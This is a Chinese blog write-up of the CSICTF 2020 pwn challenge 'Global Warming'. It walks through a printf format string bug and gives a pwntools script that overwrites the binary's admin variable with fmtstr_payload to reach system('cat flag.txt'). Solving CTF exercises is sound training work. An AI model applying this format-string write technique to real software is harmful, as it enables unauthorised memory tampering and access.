【CSICTF】Global Warming WriteUp

原创

古月浪子 于 2020-07-23 15:55:25 发布 115 收藏

文章标签： CTF

本文链接：https://blog.csdn.net/tqydyqt/article/details/107460932

Global Warming

497

pwn

Greta Thunberg 1 Administration 0

nc chall.csivit.com 30023

global-warm...

一道格式化字符串漏洞的题，以前遇到这种题都是手撸payload，今天来试试pwntools自带的工具

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+0h] [ebp-408h]
  int *v5; // [esp+400h] [ebp-8h]

  v5 = &argc;
  setbuf(stdout, 0);
  setbuf(stdin, 0);
  setbuf(stderr, 0);
  fgets(&s, 1024, stdin);
  login("User", &s);
  return 0;
}
```

```
int __cdecl login(int a1, char *format)
{
  int result; // eax

  printf(format);
  if ( admin == 0xB4DBABE3 )
    result = system("cat flag.txt");
  else
    result = printf("You cannot login as admin.");
  return result;
}
```

```
.bss:0804C02C                 public admin
.bss:0804C02C admin           dd ?                    ; DATA XREF: login+20↑r
.bss:0804C02C _bss            ends
```

由于读取字符数有限制，不能栈溢出，但是发现程序直接将读取的字符串printf，导致可以利用格式化字符串漏洞

%n可以将已输出的字符数当作4字节整数写入指向的内存地址，同理%hhn可以写入单字节整数

利用这一点去改写admin的值，即可绕过检测

如果是有回显的题目，通常用aaaa%p-%p-%p-%p-%p...来找偏移，看到0x61616161即可确定偏移量

用%xc来输出x个字符，这样便可控制写入的值

手撸payload是比较麻烦的，好在pwntools为我们提供了一个工具函数，直接使用即可~

```python
from pwn import *
from LibcSearcher import *
from struct import pack

context.os='linux'
context.arch='i386'
context.log_level='debug'

sd=lambda x:io.send(x)
sl=lambda x:io.sendline(x)
ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
ra=lambda :io.recv()
rn=lambda x:io.recv(x)
sla=lambda x,y:io.sendlineafter(x,y)

io=remote('chall.csivit.com',30023)
#io=process('./global-warming')
elf=ELF('./global-warming')

sl(fmtstr_payload(12,{0x804C02C:0xB4DBABE3}))

io.interactive()
```